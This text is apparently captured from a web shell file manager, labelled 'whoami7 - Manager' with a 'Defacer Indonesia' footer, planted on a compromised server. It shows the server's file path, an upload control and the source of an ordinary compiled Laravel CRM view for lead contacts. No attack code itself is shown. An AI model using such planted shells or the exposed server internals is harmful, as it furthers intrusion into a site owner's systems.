whoami7 - Manager
:
/
home
/
kckglobal
/
public_html
/
portal
/
storage
/
framework
/
views
/
Upload File:
files >> /home/kckglobal/public_html/portal/storage/framework/views/4efaba3a2908d719ab8487bc50a1cb36.php
<?php $__env->startPush('datatable-styles'); ?> <?php echo $__env->make('sections.datatable_css', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <?php $__env->stopPush(); ?> <?php $__env->startSection('filter-section'); ?> <?php echo $__env->make('lead-contact.filters', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <?php $__env->stopSection(); ?> <?php $addLeadPermission = user()->permission('add_lead'); $addLeadCustomFormPermission = user()->permission('manage_lead_custom_forms'); ?> <?php $__env->startSection('content'); ?> <!-- CONTENT WRAPPER START --> <div class="content-wrapper"> <!-- Add Task Export Buttons Start --> <div class="d-grid d-lg-flex d-md-flex action-bar"> <div id="table-actions" class="flex-grow-1 align-items-center"> <?php if($addLeadPermission == 'all' || $addLeadPermission == 'added'): ?> <?php if (isset($component)) { $__componentOriginaldbb84df4c3a5cbdd95fb35d18ba6410f = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginaldbb84df4c3a5cbdd95fb35d18ba6410f = $attributes; } ?> <?php $component = App\View\Components\Forms\LinkPrimary::resolve(['link' => route('lead-contact.create'),'icon' => 'plus'] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('forms.link-primary'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Forms\LinkPrimary::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['class' => 'mr-3 float-left mb-2 mb-lg-0 mb-md-0 openRightModal']); ?> <?php echo app('translator')->get('modules.leadContact.addLeadContact'); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginaldbb84df4c3a5cbdd95fb35d18ba6410f)): ?> <?php $attributes = $__attributesOriginaldbb84df4c3a5cbdd95fb35d18ba6410f; ?> <?php unset($__attributesOriginaldbb84df4c3a5cbdd95fb35d18ba6410f); ?> <?php endif; ?> <?php if (isset($__componentOriginaldbb84df4c3a5cbdd95fb35d18ba6410f)): ?> <?php $component = $__componentOriginaldbb84df4c3a5cbdd95fb35d18ba6410f; ?> <?php unset($__componentOriginaldbb84df4c3a5cbdd95fb35d18ba6410f); ?> <?php endif; ?> <?php endif; ?> <?php if($addLeadCustomFormPermission == 'all'): ?> <?php if (isset($component)) { $__componentOriginal5e57c6582b8a883148a28bb7ee46d2ad = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal5e57c6582b8a883148a28bb7ee46d2ad = $attributes; } ?> <?php $component = App\View\Components\Forms\ButtonSecondary::resolve(['icon' => 'pencil-alt'] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('forms.button-secondary'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Forms\ButtonSecondary::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['class' => 'mr-3 float-left mb-2 mb-lg-0 mb-md-0','id' => 'add-lead']); ?> <?php echo app('translator')->get('modules.lead.leadForm'); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal5e57c6582b8a883148a28bb7ee46d2ad)): ?> <?php $attributes = $__attributesOriginal5e57c6582b8a883148a28bb7ee46d2ad; ?> <?php unset($__attributesOriginal5e57c6582b8a883148a28bb7ee46d2ad); ?> <?php endif; ?> <?php if (isset($__componentOriginal5e57c6582b8a883148a28bb7ee46d2ad)): ?> <?php $component = $__componentOriginal5e57c6582b8a883148a28bb7ee46d2ad; ?> <?php unset($__componentOriginal5e57c6582b8a883148a28bb7ee46d2ad); ?> <?php endif; ?> <?php endif; ?> <?php if($addLeadPermission == 'all' || $addLeadPermission == 'added'): ?> <?php if (isset($component)) { $__componentOriginal29acd9b76240152ae380821b082bd629 = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginal29acd9b76240152ae380821b082bd629 = $attributes; } ?> <?php $component = App\View\Components\Forms\LinkSecondary::resolve(['link' => route('lead-contact.import'),'icon' => 'file-upload'] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('forms.link-secondary'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Forms\LinkSecondary::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['class' => 'mr-3 openRightModal float-left mb-2 mb-lg-0 mb-md-0 d-none d-lg-block']); ?> <?php echo app('translator')->get('app.importExcel'); ?> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginal29acd9b76240152ae380821b082bd629)): ?> <?php $attributes = $__attributesOriginal29acd9b76240152ae380821b082bd629; ?> <?php unset($__attributesOriginal29acd9b76240152ae380821b082bd629); ?> <?php endif; ?> <?php if (isset($__componentOriginal29acd9b76240152ae380821b082bd629)): ?> <?php $component = $__componentOriginal29acd9b76240152ae380821b082bd629; ?> <?php unset($__componentOriginal29acd9b76240152ae380821b082bd629); ?> <?php endif; ?> <?php endif; ?> </div> <?php if (isset($component)) { $__componentOriginald48019b35c4ccf364e5d37d92848414c = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginald48019b35c4ccf364e5d37d92848414c = $attributes; } ?> <?php $component = App\View\Components\Datatable\Actions::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('datatable.actions'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Datatable\Actions::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes([]); ?> <div class="select-status mr-3 pl-3"> <select name="action_type" class="form-control select-picker" id="quick-action-type" disabled> <option value=""><?php echo app('translator')->get('app.selectAction'); ?></option> <option value="delete"><?php echo app('translator')->get('app.delete'); ?></option> </select> </div> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginald48019b35c4ccf364e5d37d92848414c)): ?> <?php $attributes = $__attributesOriginald48019b35c4ccf364e5d37d92848414c; ?> <?php unset($__attributesOriginald48019b35c4ccf364e5d37d92848414c); ?> <?php endif; ?> <?php if (isset($__componentOriginald48019b35c4ccf364e5d37d92848414c)): ?> <?php $component = $__componentOriginald48019b35c4ccf364e5d37d92848414c; ?> <?php unset($__componentOriginald48019b35c4ccf364e5d37d92848414c); ?> <?php endif; ?> </div> <!-- Add Task Export Buttons End --> <!-- Task Box Start --> <div class="d-flex flex-column w-tables rounded mt-3 bg-white table-responsive"> <?php echo $dataTable->table(['class' => 'table table-hover border-0 w-100']); ?> </div> <!-- Task Box End --> </div> <!-- CONTENT WRAPPER END --> <?php $__env->stopSection(); ?> <?php $__env->startPush('scripts'); ?> <?php echo $__env->make('sections.datatable_js', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <script> $('#lead-contact-table').on('preXhr.dt', function(e, settings, data) { var dateRangePicker = $('#datatableRange').data('daterangepicker'); var startDate = $('#datatableRange').val(); if (startDate == '') { startDate = null; endDate = null; } else { startDate = dateRangePicker.startDate.format('<?php echo e(company()->moment_date_format); ?>'); endDate = dateRangePicker.endDate.format('<?php echo e(company()->moment_date_format); ?>'); } var searchText = $('#search-text-field').val(); var min = $('#min').val(); var max = $('#max').val(); var type = $('#type').val(); var source_id = $('#filter_source_id').val(); var owner_id = $('#filter_owner_id').val(); var date_filter_on = $('#date_filter_on').val(); var filter_added_by = $('#filter_addedBy').val(); data['startDate'] = startDate; data['filter_addedBy'] = filter_added_by; data['endDate'] = endDate; data['searchText'] = searchText; data['type'] = type; data['min'] = min; data['max'] = max; data['source_id'] = source_id; data['owner_id'] = owner_id; data['date_filter_on'] = date_filter_on; }); const showTable = () => { window.LaravelDataTables["lead-contact-table"].draw(true); } $('#reset-filters').click(function() { $('#filter-form')[0].reset(); $('.filter-box .select-picker').selectpicker("refresh"); $('#reset-filters').addClass('d-none'); showTable(); }); $('#reset-filters-2').click(function() { $('#filter-form')[0].reset(); $('.filter-box #leave_type').val('all'); $('.filter-box .select-picker').selectpicker("refresh"); $('#reset-filters').addClass('d-none'); showTable(); }); $('#quick-action-type').change(function() { const actionValue = $(this).val(); if (actionValue != '') { $('#quick-action-apply').removeAttr('disabled'); if (actionValue == 'change-agent') { $('.quick-action-field').addClass('d-none'); $('#change-agent-action').removeClass('d-none'); } else { $('.quick-action-field').addClass('d-none'); } } else { $('#quick-action-apply').attr('disabled', true); $('.quick-action-field').addClass('d-none'); } }); $('#quick-action-apply').click(function() { const actionValue = $('#quick-action-type').val(); if (actionValue == 'delete') { Swal.fire({ title: "<?php echo app('translator')->get('messages.sweetAlertTitle'); ?>", text: "<?php echo app('translator')->get('messages.recoverRecord'); ?>", icon: 'warning', showCancelButton: true, focusConfirm: false, confirmButtonText: "<?php echo app('translator')->get('messages.confirmDelete'); ?>", cancelButtonText: "<?php echo app('translator')->get('app.cancel'); ?>", customClass: { confirmButton: 'btn btn-primary mr-3', cancelButton: 'btn btn-secondary' }, showClass: { popup: 'swal2-noanimation', backdrop: 'swal2-noanimation' }, buttonsStyling: false }).then((result) => { if (result.isConfirmed) { applyQuickAction(); } }); } else { applyQuickAction(); } }); $('body').on('click', '.delete-table-row', function() { var id = $(this).data('id'); Swal.fire({ title: "<?php echo app('translator')->get('messages.sweetAlertTitle'); ?>", text: "<?php echo app('translator')->get('messages.recoverRecord'); ?>", icon: 'warning', showCancelButton: true, focusConfirm: false, confirmButtonText: "<?php echo app('translator')->get('messages.confirmDelete'); ?>", cancelButtonText: "<?php echo app('translator')->get('app.cancel'); ?>", customClass: { confirmButton: 'btn btn-primary mr-3', cancelButton: 'btn btn-secondary' }, showClass: { popup: 'swal2-noanimation', backdrop: 'swal2-noanimation' }, buttonsStyling: false }).then((result) => { if (result.isConfirmed) { var url = "<?php echo e(route('lead-contact.destroy', ':id')); ?>"; url = url.replace(':id', id); var token = "<?php echo e(csrf_token()); ?>"; $.easyAjax({ type: 'POST', url: url, data: { '_token': token, '_method': 'DELETE' }, success: function(response) { if (response.status == "success") { showTable(); } } }); } }); }); const applyQuickAction = () => { var rowdIds = $("#lead-contact-table input:checkbox:checked").map(function() { return $(this).val(); }).get(); var url = "<?php echo e(route('lead-contact.apply_quick_action')); ?>?row_ids=" + rowdIds; $.easyAjax({ url: url, container: '#quick-action-form', type: "POST", disableButton: true, buttonSelector: "#quick-action-apply", data: $('#quick-action-form').serialize(), success: function(response) { if (response.status == 'success') { showTable(); resetActionButtons(); deSelectAll(); $('#quick-action-form').hide(); } } }) }; $('body').on('click', '#add-lead', function() { window.location.href = "<?php echo e(route('lead-form.index')); ?>"; }); $( document ).ready(function() { <?php if(!is_null(request('start')) && !is_null(request('end'))): ?> $('#datatableRange').val('<?php echo e(request('start')); ?>' + ' <?php echo app('translator')->get("app.to"); ?> ' + '<?php echo e(request('end')); ?>'); $('#datatableRange').data('daterangepicker').setStartDate("<?php echo e(request('start')); ?>"); $('#datatableRange').data('daterangepicker').setEndDate("<?php echo e(request('end')); ?>"); showTable(); <?php endif; ?> }); </script> <?php $__env->stopPush(); ?> <?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/kckglobal/public_html/portal/resources/views/lead-contact/index.blade.php ENDPATH**/ ?>
Copyright ©2021 || Defacer Indonesia